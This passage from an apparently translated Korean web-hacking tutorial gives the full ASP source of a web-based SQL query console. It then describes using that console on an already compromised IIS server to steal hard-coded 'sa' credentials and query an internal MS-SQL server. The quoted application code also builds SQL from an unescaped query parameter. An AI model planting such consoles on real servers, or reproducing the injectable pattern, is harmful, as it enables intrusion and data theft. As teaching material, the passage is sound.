database. Present version works only for MS-SQL server. Other providers shall be included later. --> <html> <head> <title>sql Query over HTTP</title> <style type="text/css"> PRE { font-family: Monaco, Courier-new, Lucida, Courier; font-size: 10pt; color: black; </style> </head> <body> <h1><u><font face="arial" size="5" color="#000080"> SQL Query over HTTP</font></u></h1> <% IF request.form ("Message")="true" THEN strservername=request.form("servername") strdatabasename=request.form("databasename") strusername=request.form("username") strpassword=request.form("password") strquery=request.form("query") strdbsource=request.form("dbsource")
strother=request.form("other") strcon=request.form("constr") strdsn=request.form("dsn") Response.write("<table align= 'left' border='0'>") Response.write("<tr>") Response.write("<td>") Response.write("<form action='#' method='post'>") Response.write("<table align= 'left' border='0'>") Response.write("<tr>") Response.write("<td valign='top' align='right'><b><font face='arial' size='2'> Server Name:</font></b></td>") Response.write("<td><font face='courier New'><input type='text' name='servername' size='30' value="+ strservername +"></font></td>") Response.write("<td align='right'><b><font face='arial' size='2'> User Name:</font></b></td>") Response.write("<td><font face='courier New'><input name='username' size='14' value="+ strusername +"></font></td>") Response.write("</tr>") Response.write("<tr>") Response.write("<td valign='top' align='right'><b><font face='arial' size='2'> Database Name:</font></b></td>") Response.write("<td><font face='courier New'><input name='databasename' size='30' value="+ strdatabasename +"></font></td>") Response.write("<td align='right'><b><font face='arial' size='2'> Password:</font></b></td>") Response.write("<td><font face='courier New'><input name='password' size='14' value="+ strpassword +"></font></td>") Response.write("</tr>")
Response.write("<tr>") Response.write("<td valign='top' align='right'><b><font face='arial' size='2'> Connection String:</font></b></td>") Response.write("<td><input type='text' name='constr' size='30' value='"+ strcon +"'></td>") Response.write("</tr>") Response.write("<tr>") Response.write("<td valign='top' align='right'><b><font face='arial' size='2'> Driver:</font></b></td>") Response.write("<td><select size='1' name='dbsource'>") IF(strDbsource = "SQL Server") THEN Response.write("<option selected>" + strdbsource + "</option>") Response.write("<option>Oracle ODBC Driver</option>") Response.write("<option>Microsoft Access Driver (*.mdb)</option>") Response.write("<option>MySQL ODBC 3.51 Driver</option>") END IF IF (strdbsource = "Oracle ODBC Driver") THEN Response.write("<option selected>" + strdbsource + "</option>") Response.write("<option>SQL Server</option>") Response.write("<option>Microsoft Access Driver (*.mdb)</option>") Response.write("<option>MySQL ODBC 3.51 Driver</option>") END IF IF (strdbsource = "Microsoft Access Driver (*.mdb)") THEN Response.write("<option selected>" + strdbsource + "</option>") Response.write("<option>SQL Server</option>") Response.write("<option>Oracle ODBC Driver</option>") Response.write("<option>MySQL ODBC 3.51 Driver</option>") END IF IF (strdbsource = "MySQL ODBC 3.51 Driver") THEN
Response.write("<option selected>" + strdbsource + "</option>") Response.write("<option>SQL Server</option>") Response.write("<option>Oracle ODBC Driver</option>") Response.write("<option>Microsoft Access Driver (*.mdb)</option>") END IF Response.write("</select>") Response.write("</td>") Response.write("</tr>") Response.write("<tr>") Response.write("<td valign='top' align='right'><b><font face='arial' size='2'> Query String:</font></b></td>") Response.write("<td colspan='3'><font face='courier New'><textarea rows='4' name='query' cols='69'>"+ strquery +"</textarea></font></td>") Response.write("</tr>") Response.write("<tr>") Response.write("<td><input type='hidden' name='message' value='true'></td>") Response.write("</tr>") Response.write("<tr>") Response.write("<td>") Response.write("<td colspan='3'> <input type='submit' value='execute Query'></td>") Response.write("</tr>") Response.write("</table>") Response.write("</form>") Response.write("</td>") Response.write("</tr>") Response.write("<tr>") Response.write("<td>")
Response.write("<BR>") Response.write("<HR>") Response.write("<p>") Response.write("</p>") set objcon = server.createobject("adodb.connection") IF(strDSN = "") THEN IF(strCon = "") THEN IF(strDbsource = "Microsoft Access Driver (*.mdb)") THEN objcon.connectionstring= "Driver=" + strdbsource + ";server=" + strservername + ";uid=" + strusername + ";pwd=" + strpassword + ";DBQ=" + strdatabasename ELSE objcon.connectionstring= "Driver=" + strdbsource + ";server=" + strservername + ";uid=" + strusername + ";pwd=" + strpassword + ";database=" + strdatabasename END IF ELSE objcon.connectionstring= strcon END IF ELSE IF(strCon = "") THEN objcon.connectionstring= "Driver=" + strdbsource + ";DSN=" + strdsn + ";uid=" + strusername + ";pwd=" + strpassword ELSE objcon.connectionstring= "DSN=" + strdsn + ";" + strcon END IF END IF
objcon.open Response.write("Database Connection Opened") Response.write("<p>") Set RS = objcon.execute(strquery) Select Case RS.eof Case False RSArray = RS.getrows Number_Of_Fields = Cdbl(UBound(RSArray, 1)) Number_Of_Records = Cdbl(UBound(RSArray, 2)) Response.Write "<table border=1 bordercolorlight='#000000' cellspacing='0' cellpadding='0' bordercolordark='#c0c0c0'>" Response.Write "<tr>" For A = 0 to Number_Of_Fields Response.Write "<td valign='middle' height='30' bgcolor='#000080'>" Response.Write "<font color='#ffffff' face='arial' size='3'><b>" Response.Write RS.Fields(A).Name Response.Write "</b></font>" Response.Write "</td> " Next Response.Write "</tr>" For R = 0 to Number_Of_Records
Response.Write "<tr>" For F = 0 to Number_Of_Fields Response.Write "<td><pre>" Response.Write RSArray(F, R) Response.Write "</pre></td> " Next Response.Write "</tr>" Next Response.Write "</table>" Case True Response.Write "No Records were found" End Select Response.write("</td>") Response.write("</tr>") Set RS = Nothing objcon.close Response.write("<tr>") Response.write("<td>") Response.Write "Database Connection Closed" Response.write("</td>") Response.write("</tr>") Response.write("</table>") ELSE %> <form action='#' method='post'> <table align='left' border='0'> <tr>
<td valign='top' align='right'><b><font face='arial' size='2'> Server Name:</font></b></td> <td><font face='courier New'><input type='text' name='servername' size='30'> </font></td> <td align='right'><b><font face='arial' size='2'>user Name:</font></b></td> <td><font face='courier New'><input name='username' size='14'></font></td> </tr> <tr> <td valign='top' align='right'><b><font face='arial' size='2'>database Name: </font></b></td> <td><font face='courier New'><input name='databasename' size='30'></font></td> <td align='right'><b><font face='arial' size='2'>password:</font></b></td> <td><font face='courier New'><input name='password' size='14'></font></td> </tr> <tr> <td valign='top' align='right'><b><font face='arial' size='2'> Connection String:</font></b></td> <td ><input type='text' name='constr' size='30'></td> </tr> <tr> <td valign='top' align='right'><b><font face='arial' size='2'>driver: </font></b></td> <td> <select size='1' name='dbsource'> <option>oracle ODBC Driver</option> <option>microsoft Access Driver (*.mdb)</option> <option>mysql ODBC 3.51 Driver</option> <option selected>sql Server</option> </select> </td>
</tr> <tr> <td valign='top' align='right'><b><font face='arial' size='2'> Query String:</font></b></td> <td colspan='3'><font face='courier New'> <textarea rows='4' name='query' cols='69'></textarea></font></td> </tr> <tr> <td><input type='hidden' name='message' value='true'></td> </tr> <tr> <td> <td colspan='3'> <input type='submit' value='execute Query'></td> </tr> </table> </form> <%END IF%> </body> </html> PHP, Perl, JSP 등과같은언어로웹기반의 SQL command prompt 를만드는것이가능하다. (Thanks to Ketan Vyas for sqlquery.asp) 7.2 예 - IIS 및 MS SQL server 우리는이제 sqlquery.asp 가내부네트워크에놓여있는데이터베이스서버를해킹하는데어떻게사용될수있는지를 보여주는시나리오를제시한다. 아래의그림은웹서버 www1.example.com 과데이터베이스서버 10.0.1.2 의어플리케이션 배치를보여준다.
우리는 www1.example.com 이이미공격을당했으며, 웹기반의파일 uploader 인 upload.asp 와웹기반의 command prompt 인 cmdasp.asp 가서버에존재하는것을가정한다. 권한상승에대해서는어떤가정도하지않는다. 우리는이제 www1.example.com 에 sqlquery.asp 를업로드하고, 10.0.1.2 에있는데이터베이스서버를공격하기위해 그것을사용할것이다. 7.3 sqlquery.asp 업로드 아래의스크린샷은파일 uploader 인 upload.asp 에의해 sqlquery.asp 가업로드되고있는것을보여준다.
7.4 웹어플리케이션도용하기 (pilfering) 우리가 back-end 데이터베이스에연결할수있기전에, 우리는데이터베이스에대한연결을확립하고, 무슨 credentials 로연결을확립할것인지알필요가있다. www1.example.com 에호스팅되고있는웹어플리케이션의소스 코드를보면다음과같은부분이있다. Set Con = Server.CreateObject("ADODB.Connection") Con.Open "Provider=SQLOLEDB; Data Source=10.0.1.2; Initial Catalog=art; User Id=sa; Password=sys+adm!n" Set RS = Con.Execute("select StockNumber,Name,Description,Artist, ListPrice,image from PRODUCTS where ID = " + Request.QueryString("ID")) 이라인들은 10.0.1.2 에존재하는 back-end 데이터베이스서버에연결할충분한정보를우리에게제공한다. 7.5 sqlquery.asp 를통한 SQL 질의하기 sqlquery,asp 와더불어위의 credentials 을사용하면데이터베이스서버에대해임의의 SQL statement 를실행할수있다. 아래의스크린샷은 "SELECT * FROM SYSDATABASES;" 질의결과를보여준다.
다음스크린샷은 art 데이터베이스에호스팅되는 PRODUCTS 라는테이블로부터어플리케이션의데이터가노출되는 모습을보여주고있다.